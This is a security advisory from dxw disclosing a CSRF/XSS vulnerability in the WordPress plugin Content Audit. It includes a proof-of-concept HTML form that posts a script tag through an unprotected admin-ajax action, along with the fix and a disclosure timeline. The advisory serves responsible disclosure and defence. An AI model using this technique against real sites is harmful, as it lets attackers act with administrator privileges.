Software: Content Audit
Advisory report: https://security.dxw.com/advisories/csrf-xss-content-audit/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)
CSRF/XSS in Content Audit allowing an unauthenticated attacker to do almost anything an admin can
The plugin contains an admin_ajax action which is not protected with a nonce. One of the values submitted appears unescaped on the list of pages.
Proof of concept
Install/activate the plugin
Make sure you have a post with ID=2 (or edit the HTML provided below)
Settings > Content Audit > select at least aPagesa for aAudited content typesa
Visit a page containing the below HTML
VisitA http://localhost/wp-admin/edit.php?post_type=page to receive the XSS payload
<form method=\"POST\" action=\"http://localhost/wp-admin/admin-ajax.php?action=content_audit_save_bulk_edit\">
<input type=\"text\" name=\"post_ids\" value=\"2\">
<input type=\"text\" name=\"_content_audit_owner\" value=\"Elliot Alderson\">
<input type=\"text\" name=\"_content_audit_expiration_date\" value=\"2020-01-01\">
<input type=\"text\" name=\"_content_audit_notes\" value=\"<script>alert(1)</script>\">
Upgrade to version 1.9.2 or later.
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/
Please contact us on email@example.com to acknowledge this report if you received it via a third party (for example, firstname.lastname@example.org) as they generally cannot communicate with us on your behalf.
This vulnerability will be published if we do not receive a response to this report with 14 days.
2017-09-08: Reported to vendor by email
2017-09-08: First response from vendor
2017-09-08: Vendor reports fixed in 1.9.2
2017-09-26: Advisory published
Discovered by dxw:
Please visit security.dxw.com for more information.